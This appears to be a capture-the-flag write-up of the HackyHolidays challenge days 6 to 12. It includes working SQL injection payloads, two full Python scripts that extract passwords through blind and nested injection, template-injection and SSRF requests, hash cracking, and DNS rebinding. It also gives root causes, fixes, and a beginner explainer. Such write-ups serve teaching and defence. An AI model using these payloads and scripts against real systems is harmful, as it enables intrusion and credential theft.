After the second check, all occurrences of secretadmin.php are removed:
secretadm[secretadmin.php]in.php -> secretadmin.php
The test function confirms the result, and the payload works against the challenge. The hidden event is revealed, along with the sixth flag.
flag{18b130a7-3a79-4c70-b73b-7f23fa95d395}
Day 7: Hate Mail Generator, template injection
"Hate Mail Generator" creates mail templates. A saved template called "Guess What" shows two features of the template engine: variables such as name are replaced with a value, and a template such as cbdj3_grinch_header.html is replaced with the contents of that file. The preview button shows the transformation. Saving a new template returns an error, but previewing one works. The preview sends a POST to /hate-mail-generator/new/preview:
POST /hate-mail-generator/new/preview HTTP/1.1
Host: hackyholidays.h1ctf.com
Connection: close
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://hackyholidays.h1ctf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hackyholidays.h1ctf.com/hate-mail-generator/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
preview_markup=hihi&preview_data={"name":"Alice","email":"[redacted]"}
The body has two parameters: preview_markup, the template body, and preview_data, a JSON object with the data used to render it. Supplying {"hihi":"blabla"} as preview_data makes hihi usable as a variable, which confirms that the data object is fully attacker controlled.
Content discovery against https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ with common_webcontent.txt finds /new and /templates:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/hate-mail-generator/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
new [Status: 200, Size: 2494, Words: 440, Lines: 49]9] :: Errors: 0 ::
templates [Status: 302, Size: 0, Words: 1, Lines: 1]0:01:40] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:56] :: Errors: 0 ::
/templates lists the template files, including 38dhs_admins_only_header.html. The files cannot be opened directly from the browser. Including the file from a template with {{template:38dhs_admins_only_header.html}} and previewing it returns:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 30 Dec 2020 13:04:33 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 64
You do not have access to the file 38dhs_admins_only_header.html
Including the file from the template body is refused, so the include is moved into the data object instead. The variable hihi is replaced with the include syntax, and the include is then resolved during rendering:
preview_markup={{hihi}}&preview_data={"hihi":"{{template:38dhs_admins_only_header.html}}"}
The substitution chain is:
{{hihi}} -> {{template:38dhs_admins_only_header.html}}
and then:
{{template:38dhs_admins_only_header.html}} -> plz give me flag
The rendered preview contains the seventh flag.
flag{5bee8cf2-acf2-4a08-a35f-b48d5e979fdd}
Day 8: Forum, source code on GitHub and database access
"Forum" says the Grinch keeps his best post in the admin section, which needs a valid login. Content discovery against https://hackyholidays.h1ctf.com/forum/FUZZ with common_webcontent.txt finds /1, /2, /login and /phpmyadmin:
ffuf -w common_webcontent.txt -t 5 -u "https://hackyholidays.h1ctf.com/forum/FUZZ"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.2.0-git
________________________________________________
:: Method : GET
:: URL : https://hackyholidays.h1ctf.com/forum/FUZZ
:: Wordlist : FUZZ: common_webcontent.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 5
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
1 [Status: 200, Size: 2249, Words: 788, Lines: 64] :: Errors: 0 ::
2 [Status: 200, Size: 1885, Words: 512, Lines: 58]] :: Errors: 0 ::
login [Status: 200, Size: 1569, Words: 396, Lines: 34]1] :: Errors: 0 ::
phpmyadmin [Status: 200, Size: 8880, Words: 956, Lines: 79]5] :: Errors: 0 ::
:: Progress: [4661/4661] :: Job [1/1] :: 41 req/sec :: Duration: [0:01:54] :: Errors: 0 ::
/phpmyadmin is a phpMyAdmin login page. Brute-forcing /login and /phpmyadmin is not feasible. The researcher instead looks for the forum source code on GitHub and finds a repository with four commits. The commit called "Initial Code Commit" contains database credentials. Those credentials work on /phpmyadmin.
The user table has two users, grinch and max, with hashed passwords. The hash for grinch is submitted to crackstation.net, which cracks it. Logging in to the forum with the cracked password gives access to the admin section and the eighth flag.
flag{677db3a0-f9e9-4e7e-9ad7-a9f23e47db8b}
Day 9: Evil Quiz, blind SQL injection
"Evil Quiz" is a quiz. After completing it, a feature shows how many players have the same name as the user. The name input is sprayed with payloads, and one of them returns a count of 1218510, which is unlikely to be a real number of players. This indicates SQL injection.
A UNION attack is built by increasing the number of selected integers until the query succeeds:
bla' UNION SELECT '1bla' UNION SELECT 1,'2bla' UNION SELECT 1,2,'3- Etc.
An error in the SQL query produces a response saying that 0 other players have the same name, while a successful query says there is 1 other player. The query has 4 columns.
The existence of an admin table is tested with:
bla' UNION SELECT 1,2,3,4 from information_schema.tables WHERE table_name = 'admin
A count of 1 confirms the table. The columns are tested the same way:
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'username
bla' UNION SELECT 1,2,3,4 from information_schema.columns WHERE table_name = 'admin' AND column_name = 'password
Both return 1, so both columns exist. The number of rows is checked with a LIKE wildcard:
bla' UNION SELECT 1,2,3,4 from admin WHERE username LIKE '%
There is one row. The username is guessed:
bla' UNION SELECT 1,2,3,4 from admin WHERE username = 'admin
The password is extracted character by character with a LIKE BINARY comparison, which makes the match case-sensitive:
bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('passwo%') OR 1='2
The script automates this. It takes a session cookie for a session where the quiz has already been completed, posts each candidate payload to /evil-quiz, and then requests /evil-quiz/score to check whether the response still contains There is 0 other player(s) with the same name as you!. The % and _ characters are escaped with a backslash, as the script comment notes they are MySQL wildcards.
import argparse
import requests
import warnings
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--cookie", help="provide a session cookie for a session where you've already completed the quiz", required=True)
args = parser.parse_args()
charset = "[redacted]%_;#$£}{[]&.,!=+@()?-~*'<>"
url = 'https://hackyholidays.h1ctf.com/evil-quiz'
cookies = {'session': args.cookie}
password = ""
def brute():
global password
found_char = True
while found_char:
found_char = False
for c in charset:
if c in "%_": #Escaping MySQL wildcards
c = "\\"+c
body = {"name": "bla' UNION SELECT 1,2,3,password FROM admin WHERE password LIKE BINARY('"+password+c+"%') OR 1='2"}
response_1 = requests.post(url, data = body, cookies=cookies, verify=False)
if response_1.status_code == 200:
response_2 = requests.get(url+"/score", cookies=cookies, verify=False)
if "There is 0 other player(s) with the same name as you!" not in response_2.text:
password+=c[-1] #Only take last char to avoid problems with escaped wildcards
print("PASSWORD: "+password)
break
else:
print("Ehh, something went wrong. Got this status code: "+response_1.status_code)
return
print("Couldn't find more chars. Final found is: "+password)
brute()
#Password: S3creT_p4ssw0rd-$
Running it extracts the password:
py day_9.py -c "mysessioncookie"
PASSWORD: S
PASSWORD: S3
PASSWORD: S3c
PASSWORD: S3cr
PASSWORD: S3cre
PASSWORD: S3creT
PASSWORD: S3creT_
PASSWORD: S3creT_p
PASSWORD: S3creT_p4
PASSWORD: S3creT_p4s
PASSWORD: S3creT_p4ss
PASSWORD: S3creT_p4ssw
PASSWORD: S3creT_p4ssw0
PASSWORD: S3creT_p4ssw0r
PASSWORD: S3creT_p4ssw0rd
PASSWORD: S3creT_p4ssw0rd-
PASSWORD: S3creT_p4ssw0rd-$
Couldn't find more chars. Final found is: S3creT_p4ssw0rd-$
Logging in with those credentials gives the ninth flag.
flag{6e8a2df4-5b14-400f-a85a-08a260b59135}
Day 10: Signup Manager, length check before intval
"Signup Manager" is a recruitment signup form. Signing up with random information works but is not interesting. The page source references README.md, and requesting /README.md returns:
# SignUp Manager
SignUp manager is a simple and easy to use script which allows new users to signup and login to a private page. All users are stored in a file so need for a complicated database setup.
### How to Install
1) Create a directory that you wish SignUp Manager to be installed into
2) Move signupmanager.zip into the new directory and unzip it.
3) For security move users.txt into a directory that cannot be read from website visitors
4) Update index.php with the location of your users.txt file
5) Edit the user and admin php files to display your hidden content
6) You can make anyone an admin by changing the last character in the users.txt file to a Y
7) Default login is admin / password
The referenced signupmanager.zip is downloadable from the site and contains the source code. In index.php, each signup is concatenated into a string and stored in users.txt. The 113th character of that string decides whether the user is an admin:
'admin' => ((substr($user_str, 112, 1) === 'Y') ? true : false)
The goal is to place a Y at position 113. Each input is length-limited:
- The username, first name and last name are cut to 15 characters:
$username = substr(preg_replace('/([^a-zA-Z0-9])/', '', $_POST["username"]), 0, 15);
- The password is MD5 hashed, so it is always 32 characters:
$password = md5($_POST["password"]);
- The age must be 3 characters or less:
if (strlen($_POST["age"]) > 3) {
$errors[] = 'Age entered is too long';
}
The weak link is the conversion that happens after the length check:
$age = intval($_POST["age"]);
intval accepts scientific notation, so a value such as 9e9 becomes 9000000000. A value such as 9e9 is 3 characters long but becomes 9000000000 after conversion, which is longer than 3 characters. The concatenation is:
function addUser($username,$password,$age,$firstname,$lastname){
$random_hash = md5( print_r($_SERVER,true).print_r($_POST,true).date("U").microtime().rand() );
$line = '';
$line .= str_pad( $username,15,"#");
$line .= $password;
$line .= $random_hash;
$line .= str_pad( $age,3,"#");
$line .= str_pad( $firstname,15,"#");
$line .= str_pad( $lastname,15,"#");
$line .= 'N';
$line = substr($line,0,113);
file_put_contents('users.txt',$line.PHP_EOL, FILE_APPEND);
return $random_hash;
}
The last name is the last input before the final N, so the Y goes there. Normally the 15th character of the last name lands at position 112, one short of the admin toggle. Making the age one character longer than expected after intval shifts the last name by one, so its last character becomes position 113. A value such as 9e3 becomes 9000 (4 characters) after conversion. Signing up with that age and a last name ending in Y creates an admin. The cookie from the response is used to reload /signup-manager as the new user, which returns the tenth flag and a link to /r3c0n_server_4fdk59 for the next day.
flag{99309f0f-1752-44a5-af1e-a03e4150757d}
Day 11: API, SSRF through a photo album and SQL injection within SQL injection
Day 11 says an API is being developed. /api describes the responses the API can return, but every guessed endpoint returns:
{"error":"This endpoint cannot be visited from this IP address"}
The challenge also has photo albums at /album. Opening a photo produces a data GET parameter, which Base64 decodes to:
{
"image":"r3c0n_server_4fdk59\/uploads\/[redacted].jpg",
"auth":"[redacted]"
}
The server fetches the file named in image as long as a valid auth value is supplied. This looks like a possible SSRF, but the auth value is difficult to reproduce, so the researcher moves to the hash GET parameter on /album. Most values return a 404, but one value reveals SQL injection. A UNION attack with three columns works:
a' UNION SELECT 1,2,3-- -
The UNION only works when the supplied hash is invalid, such as a, not when it is a valid hash. To understand the query, the researcher reads the current query from information_schema.processlist:
a'UNION SELECT 1,2,info from information_schema.processlist-- -
The running query is:
SELECT * FROM album WHERE hash = 'INPUT'
That query alone cannot return the photos, because the photos are referenced only in the photo table. The researcher concludes that the injection is inside a subquery, with a parent query roughly like:
SELECT * FROM photo WHERE something = (SELECT * FROM album WHERE hash = 'INPUT')
The first column of the inner query controls which photos are loaded. Supplying a string as the first column removes the photos:
a'UNION SELECT "hihi",2,3-- -
A nested injection is then placed in the first column:
a'UNION SELECT "' UNION SELECT 1,2,3-- -",2,3-- -
A photo is displayed. Its data parameter decodes to:
{
"image":"r3c0n_server_4fdk59\/uploads\/3",
"auth":"[redacted]"
}
The 3 comes from the injected value, and the server generated a valid auth for it. Replacing 3 with ../api makes the server request the API:
a'UNION SELECT "' UNION SELECT 1,2,'../api'-- -",2,3-- -
The response is Invalid content type detected, which means the resource exists. The data parameter decodes to:
{
"image":"r3c0n_server_4fdk59\/uploads\/..\/api",
"auth":"[redacted]"
}
The server now requests r3c0n_server_4fdk59/api on the researcher's behalf. A script fuzzes API endpoints through this path:
py day_11.py -p "api/BRUZZ" -w "common-api-endpoints-mazen160.txt" -f 404
FOUND: ping
FOUND: user
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████| 174/174 [02:30<00:00, 1.16it/s]
api/ping is a red herring. api/user returns a response body that cannot be viewed. The /api page lists response codes, which suggests more to discover. A random GET parameter on api/user returns a 400:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?bla=hihi'-- -",2,3-- -
The front page also links to /attack-box, which is the next challenge and is protected by a login form. Given the endpoint name user, username and password are good guesses:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=bla%26password=hihi'-- -",2,3-- -
Both parameters are valid. A % wildcard is then used to test whether the credentials are compared in SQL:
a'UNION SELECT "' UNION SELECT 1,2,'../api/user?username=%%26password=%'-- -",2,3-- -
The response is not the 204 response but Invalid content type detected, so the wildcard works. The script is switched to brute-force mode, one character at a time, filtering out 204 responses:
py day_11.py -u "api/user?username=BRUZZ%" -b -f 204
NEW CHAR FOUND: g
NEW CHAR FOUND: gr
NEW CHAR FOUND: gri
NEW CHAR FOUND: grin
NEW CHAR FOUND: grinc
NEW CHAR FOUND: grinch
NEW CHAR FOUND: grincha
NEW CHAR FOUND: grinchad
NEW CHAR FOUND: grinchadm
NEW CHAR FOUND: grinchadmi
NEW CHAR FOUND: grinchadmin
Couldn't find more chars. Final found is: grinchadmin
py day_11.py -u "api/user?[redacted]" -b -f 204
NEW CHAR FOUND: s
NEW CHAR FOUND: s4
NEW CHAR FOUND: s4n
NEW CHAR FOUND: s4nt
NEW CHAR FOUND: s4nt4
NEW CHAR FOUND: s4nt4s
NEW CHAR FOUND: s4nt4su
NEW CHAR FOUND: s4nt4suc
NEW CHAR FOUND: s4nt4suck
NEW CHAR FOUND: s4nt4sucks
Couldn't find more chars. Final found is: s4nt4sucks
The credentials grinchadmin / s4nt4sucks work on /attack-box/login, which gives the eleventh flag and access to /attack-box.
flag{07a03135-9778-4dee-a83c-7ec330728e72}
The full script:
import sys
import requests
import warnings
import argparse
from tqdm import tqdm
warnings.filterwarnings("ignore")
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="provide a URL to request on /r3c0n_server_4fdk597/URL. Use 'BRUZZ' as the keyword", required=True)
parser.add_argument("-w", "--wordlist", help="provide the path of the wordlist to use")
parser.add_argument("-f", "--filter", help="provide a value to filter out responses based on. The value will be looked for in the response body", required=True)
parser.add_argument("-b", "--bruteforce", help="bruteforce mode", action="store_true")
args = parser.parse_args()
base_url = 'https://hackyholidays.h1ctf.com'
url = args.url
wordlist = args.wordlist
response_filter = args.filter
def fuzz(lines):
for w in tqdm(lines):
fuzz_payload = url.replace("BRUZZ", w.rstrip())
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+fuzz_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
tqdm.write("FOUND: "+w.rstrip())
def brute(charset):
found_chars = ""
found_char = True
while found_char:
found_char = False
for c in charset:
brute_payload = url.replace("BRUZZ", found_chars+c)
url1 = base_url+"/r3c0n_server_4fdk59/album?hash=a'UNION SELECT \"' UNION SELECT 1,2,'../"+brute_payload+"\",2,3-- -"
response_1 = requests.get(url1, verify=False)
url2 = base_url+response_1.text[response_1.text.find("/r3c0n_server_4fdk59/picture?data="):].split("\"")[0]
response_2 = requests.get(url2, verify=False)
if response_filter not in response_2.text:
found_char = True
found_chars += c
print("NEW CHAR FOUND: "+found_chars)
break
print("Couldn't find more chars. Final found is: "+found_chars)
if args.bruteforce is not None:
charset = "[redacted]"
brute(charset)
elif args.wordlist is not None:
try:
file1 = open(wordlist, 'r')
lines = file1.readlines()
except:
print("Couldn't find wordlist: "+wordlist)
quit()
fuzz(lines)
else:
print("You must either specify a wordlist (-w) or user bruteforce mode (-b)")
quit()
Day 12: Attack box, hash cracking and DNS rebinding
/attack-box shows that the Grinch has launched a DDoS attack against Santa's servers, matching the hidden event from day 6. Clicking an attack button sends a request to /attack-box/launch?payload=[redacted]==. The payload parameter decodes to:
{
"target":"[redacted]",
"hash":"[redacted]"
}
The request appears to be used to launch a DDoS attack against the target in target. Changing target without a matching hash returns Invalid Protection Hash. The hash looks like MD5. The researcher tests whether a salt is used with the target value, using hashcat mode 20 (salt.pass) against rockyou.txt:
hashcat.exe -m 20 "[redacted]:[redacted]" rockyou.txt --show
[redacted]:[redacted]:mrgrinch463
The salt is mrgrinch463. A payload targeting [redacted] is built:
md5(mrgrinch463127.0.0.1) -> [redacted]
{
"target":"[redacted]",
"hash":"[redacted]"
}
This is rejected because the server has protection against a local target. The researcher tries bypass techniques and finally uses DNS rebinding. A hostname is generated with https://lock.cmpxchg8b.com/rebinder.html that first resolves to one of the Santa target servers and then to [redacted]. The check sees the Santa target and passes; the attack then resolves the hostname to [redacted] and hits the Grinch Network. The challenge is solved and the twelfth flag obtained.
flag{ba6586b0-e482-41e6-9a68-caf9941b48a0}
Root cause
Each day has its own mistake:
- Day 3: the
idparameter is a Base64-encoded JSON object that the client controls, and the server trusts theidinside it without checking that the caller is allowed to read that record. - Day 4:
/api/userreturns full user records, including the flag, to anyone who supplies a UUID, and the UUID is leaked by/api/sessions, which lists sessions including one with a non-nulluser. - Day 5: the login form returns different messages for an invalid username and an invalid password, which allows enumeration and brute force. The session cookie is a Base64-encoded JSON object with an
adminboolean and no signature, so the client can set it totrue. - Day 6: the filter removes
admin.phpbeforesecretadmin.php, so nested occurrences survive. The file is then read withfile_get_contents. - Day 7: the access check is applied to the template body, but the data object is rendered afterwards, so an include placed in a variable value is resolved without the check.
- Day 8: database credentials are committed to a public Git repository, and the password hash is crackable.
- Day 9: the name input is concatenated into a SQL query, and the result is observable through the player count, which makes it a blind injection.
- Day 10: the age length is checked before
intval, andintvalaccepts scientific notation, so the stored value is longer than the check allows. The admin flag is a single character at a fixed offset, so a one-character shift changes the role. - Day 11: the album
hashparameter is injected into a subquery, and the first column of the inner query controls which file the server fetches. The server then generates a validauthvalue for the fetched path, which turns the SQL injection into an SSRF. The API is only reachable from the server's IP address, so the SSRF is the way in. - Day 12: the protection hash uses a salt that is crackable, and the local-target check can be bypassed with DNS rebinding.
Impact
Within the CTF, each flaw gives the flag for that day. In a real deployment the same patterns would allow reading other users' records (day 3 and day 4), taking over an admin session (day 5), reading arbitrary files on the server (day 6), reading files that are meant to be restricted (day 7), accessing the database (day 8), extracting credentials from the database (day 9), escalating a normal signup to an admin (day 10), reaching an internal API that is restricted by source IP (day 11), and making the server attack an internal target (day 12). The report does not describe any production system, so the impact is limited to the challenge environment.
Fix
- Day 3 and day 4: do not return records based on a client-supplied identifier without an authorisation check, and do not expose session data that contains other users' identifiers.
- Day 5: return the same message for an invalid username and an invalid password, rate-limit login attempts, and sign the session cookie so the client cannot change
admin. - Day 6: use an allowlist of files instead of removing substrings, and do not read files based on user input.
- Day 7: apply the access check to the rendered output, including values that come from the data object, or resolve includes before rendering variables.
- Day 8: do not commit credentials to a public repository, and use a strong password hash.
- Day 9: use parameterised queries.
- Day 10: validate the age after conversion, or store the admin flag separately from the concatenated string.
- Day 11: use parameterised queries, and do not let the server fetch arbitrary paths based on query results. Restrict the API by authentication rather than by source IP.
- Day 12: use a keyed hash with a secret that is not crackable, and resolve the hostname once and use the resolved address for both the check and the attack.
The report does not say which of these were changed.
Variants to test
- Base64-encoded JSON parameters: decode them, change the identifier, and re-encode. A positive result is a record for another user.
- Session listing endpoints: look for a
userfield that is notnull, then use that value on a user endpoint. A positive result is a full user record. - Login forms: compare the error for an invalid username with the error for an invalid password. A positive result is a different message, which allows enumeration.
- Cookies that decode to JSON: change boolean fields such as
adminand re-encode. A positive result is a page that only admins should see. - File inclusion filters: reproduce the filter locally, then build a payload that survives it. A positive result is the contents of the protected file.
- Template engines: put the include syntax in a variable value rather than in the template body. A positive result is the contents of a file that the body check blocks.
- Public repositories: search for the target name and look at the initial commit for credentials. A positive result is a working login to a database or admin panel.
- Numeric inputs with a length check: try scientific notation such as
9e9and see whether the stored value is longer than the check allows. A positive result is a shifted field or a changed role. - SQL injection inside a subquery: read
information_schema.processlistto see the running query, then inject into the column that controls a file path. A positive result is a server-side request to a path you chose. - Hash-protected parameters: try
hashcat -m 20with the target value as the salt. A positive result is the salt, which lets you build valid payloads for any target. - Local-target checks: use a DNS rebinding hostname that resolves to an allowed address first and to the local address second. A positive result is an attack against the local target.
Hunting notes
This kind of bug tends to hide in the places where the application trusts a value that the client can change: Base64-encoded JSON, cookies, numeric inputs, file paths and template variables. During recon, the signals are endpoints that return different messages for different inputs, parameters whose names suggest a record identifier, cookies that decode to readable JSON, and pages that list files or sessions. The researcher showed enough impact by reaching the flag for each day, and the report lists the flags in its summary. The two scripts are included so the extraction can be repeated.
What happened, in plain words
This is the story of a twelve-day online challenge called "hackyholidays", run as a capture-the-flag event on HackerOne. A capture-the-flag, usually shortened to CTF, is a game played on computers where the organisers build deliberately broken websites and the players try to break into them. It is a bit like a treasure hunt where the treasure is a short piece of text.
That piece of text is called a flag. In this event every flag had the same shape: the word flag, then curly brackets, then a long code made of letters, numbers and hyphens, for example flag{48104912-28b0-494a-9995-a203d1e261e7}. When you find a flag you copy it and submit it to the organisers to prove you solved that challenge. The flags are not secret passwords for anything real; they are just proof that you got in.
The target was a set of websites under the host name *.hackyholidays.h1ctf.com. The asterisk in front is a wildcard, meaning "any subdomain of this name", so the challenge could put each day's app on its own address while still being part of the same event. The main address the researcher started from was hackyholidays.h1ctf.com.
The write-up covers twelve days, each with its own challenge. The researcher, who goes by the name holme, wrote the whole thing up as a day-by-day diary. The arc goes like this:
- Day 1 was almost trivial: a file called
robots.txtthat websites use to talk to search engines turned out to contain the first flag. - Day 2 hid the flag in the page source, the raw text a browser receives before it draws the page.
- Day 3 had a value in the address bar that was encoded, and changing the decoded value showed someone else's record.
- Day 4 was about finding hidden parts of a website by trying lots of common names, then using a leaked identifier to read a user record.
- Day 5 was a login form that told you whether the username or the password was wrong, which let the researcher guess both, and then a cookie that could be edited to become an admin.
- Day 6 let the researcher ask the server to read a file it was not supposed to show, by crafting input that survived the filter.
- Day 7 was a mail template system where a value could be made to pull in a file that was meant to be off limits.
- Day 8 involved finding the forum's source code on a public code hosting site, which contained database credentials.
- Day 9 was a quiz whose name field was passed straight into a database query, allowing the researcher to read the admin password one character at a time.
- Day 10 was a signup form where a number was checked for length before being converted, and the conversion made it longer, which shifted a single character that decided whether you were an admin.
- Day 11 was the hardest: a photo album that let the researcher make the server fetch a file of their choosing, which was then used to reach an internal API that only the server itself was allowed to talk to.
- Day 12 was a "DDoS attack" page protected by a hash, where the hash could be cracked, and the final trick was DNS rebinding, a way to make a hostname point at two different machines at two different moments.
By the end the researcher had collected the flags, and the report lists them together at the end.
If you have never done any security work, none of the words above will mean much yet. That is fine. Each section below takes one day, explains the idea behind it from scratch, shows the exact request or command that was used, and then walks through it line by line in ordinary language. You only need to be comfortable using a browser and a computer. Everything else is explained as it comes up.
The setup: tools and how the researcher worked
Before the day-by-day story, it helps to know what was in the researcher's toolbox. None of these tools are exotic; most are free and widely used by people who test websites for a living. Think of them as the equivalent of a torch, a magnifying glass and a set of lock picks: each one does one job well.
The researcher worked from two places: a browser, and a command line (the black window where you type commands instead of clicking). The browser was used to look at pages, open developer tools and read the raw source. The command line was used to run the tools below.
Burp Suite
Burp Suite is a program that sits between your browser and the website and lets you watch every request and response. A request is the message your browser sends to a server ("please give me this page"), and a response is the message the server sends back ("here it is"). Burp lets you pause a request, change a value in it, and send it on. It is like being able to intercept a letter, read it, edit it, and put it back in the envelope before it reaches the recipient.
The researcher used Burp on day 3 to notice the id parameter. You do not need Burp to follow the story, but it is the reason the researcher could see and change values that a normal browser hides.
FFUF, version v1.2.0-git
FFUF is a "fuzzer". Fuzzing means sending lots of variations of a request automatically and looking at which ones get a different answer. FFUF is given a wordlist (a text file with one word per line) and a URL containing the placeholder FUZZ. For every word in the list, FFUF replaces FUZZ with that word, sends the request, and records the response.
The version used throughout was v1.2.0-git, which is the version string FFUF prints in its banner. The banner appears at the top of every FFUF output in this report, so you will see it many times.
FFUF was used for three different jobs:
- Finding hidden pages. Give it a list of common file and folder names and a URL like
https://hackyholidays.h1ctf.com/swag-shop/FUZZ. If a word produces a real page, FFUF reports it. - Finding hidden API endpoints. The same idea, but with a list of common API path names.
- Finding parameter names and brute-forcing logins. Here the
FUZZplaceholder goes into the query string or the request body instead of the path.
Two FFUF options appear repeatedly and are worth knowing:
-mc all -fc 404means "match all response codes, then filter out 404". A 404 is the "not found" code a server sends when a page does not exist. By ignoring 404s, FFUF only shows you the words that produced something real.-fr "some text"means "filter out any response whose body contains this text". This is how the researcher ignored the boring "wrong answer" responses and only saw the interesting ones.
The Daniel Miessler wordlists
A wordlist is just a text file with one candidate per line. The researcher used four lists, all from Daniel Miessler:
common.txtfor web content: common folder and file names.common-api-endpoints-mazen160.txtfor API endpoints: common API path names.burp-parameter-names.txtfor parameter names: common names for the values that appear after a?in a URL.10-million-password-list-top-1000.txtfor the login brute force on day 5: the 1000 most common passwords.
The point of a wordlist is that you do not have to think of every possibility yourself. You let the list do the guessing and let the tool tell you which guess was right.
fcrackzip with rockyou.txt
The researcher used a zip password cracker with rockyou.txt to open my_secure_files_not_for_you.zip. rockyou.txt is a famous list of millions of real passwords that leaked from a breach years ago; it is the standard first thing to try when you need to guess a password. The researcher used this pair on day 5 to open my_secure_files_not_for_you.zip.
hashcat with rockyou.txt
hashcat does the same job for password hashes. A hash is a one-way scramble of a password: you can turn a password into a hash easily, but turning the hash back into the password is meant to be hard. Hashcat tries every word in a list, hashes it, and checks whether the result matches the hash you have. The researcher used it on day 12 to recover a salt used to protect a value.
An interactive PHP shell
PHP is a programming language used to build many websites. An interactive shell is a prompt where you type a line of PHP and it runs immediately, like a calculator. The researcher used one on day 6 to copy the challenge's filter code and test inputs against it. This is a very common habit: if a website filters your input, copy the filter into your own shell and experiment until you find an input that survives it.
Python scripts
Python is a general-purpose programming language, easy to read even if you have never programmed. The researcher wrote two scripts, one for day 9 and one for day 11, to automate repetitive work: trying thousands of payloads and printing the ones that worked. Both scripts are included in full later in this article, with a line-by-line explanation.
The DNS rebinding service
On day 12 the researcher used a public web service at https://lock.cmpxchg8b.com/rebinder.html. DNS is the system that turns a name like example.com into a numeric address like [redacted]. Rebinding means making the same name resolve to one address the first time it is looked up and to a different address the second time. The service generates a hostname that does exactly that. The researcher used it to get past a check that refused to attack a local address.
No accounts were given
One thing worth stating plainly: the challenge did not hand out any usernames or passwords. Every credential used in the report was found during the challenge itself, by guessing, by cracking, or by reading it out of a database. That is part of what makes a CTF a fair test: if you get in, it is because you found the way in, not because you were given the key.
Finding it: how the researcher approached each day
Once the first two days were out of the way, a rhythm set in. Every morning a new app appeared under /apps, and the researcher followed roughly the same routine each time. Understanding that routine is more useful than memorising any single payload, because it is the part you can reuse on a real website.
The routine had four steps.
- Open the app and use it like a normal visitor. Click the buttons, fill in the forms, look at what the page shows. This tells you what the app is supposed to do, which is the baseline you compare everything else against.
- Watch what the browser sends. With Burp Suite in the middle, every request is visible. The researcher looked for values that travel back and forth: an
idin the address bar, a cookie, a parameter in a form submission. These are the places where the app is trusting something that came from the client. - Map the parts of the app that are not linked from the page. Most apps have pages and endpoints that no button points to. FFUF with a wordlist finds them by trying common names. This is how
/api,/templatesand/phpmyadminwere found. - Look for an input that is trusted too much. This is the heart of it. A website is a conversation between your browser and a server, and the server should never believe anything the browser says without checking it. When it does believe something, that something is the bug.
The last step is worth spelling out with an everyday comparison. Imagine a hotel where the receptionist writes your room number on a card and you carry the card. If the card is just a number with no signature, you can cross out 214 and write 500, and the cleaner will let you into room 500 because the card says so. A website that trusts a value from your browser without checking it is that hotel. The researcher spent twelve days looking for unsigned cards.
The signals that mattered, day by day, were these:
- A Base64-encoded
id(day 3). Base64 is a way of writing any data using only letters, digits and a couple of symbols, so it can travel safely in a URL. It is not encryption: anyone can decode it. When a value in the address bar looks like random letters ending in=, decoding it is the first thing to try. If the decoded text is readable, the app is trusting you with its internal data. - A
uuidparameter (day 4). A UUID is a long identifier, here in the formC7DCCE-0E0DAB-B20226-FC92EA-1B9043. Finding the parameter name by fuzzing was only half the job; the value had to come from somewhere, and it came from a second endpoint that listed sessions. - An
admincookie (day 5). A cookie is a small piece of text your browser stores for a website and sends back with every request, so the server can remember who you are between page loads. If a cookie decodes to readable text containing"admin":false, the app is keeping your permissions in a place you can edit. - A
templateparameter (day 6). The name and the value (entries.html) both suggested a file name. Any parameter whose value looks like a file path is a candidate for making the server read a file it should not. - A template engine (day 7). The app replaced
{{name}}with a value and pulled in other files by name. Anything that turns text into instructions is worth poking, because the instructions may be more powerful than the app intended. - A public Git repository (day 8). Git is the system programmers use to keep versions of their code, and GitHub is a website where that code is often published. Developers sometimes commit secrets by accident. Searching for the app's name on GitHub is a standard move.
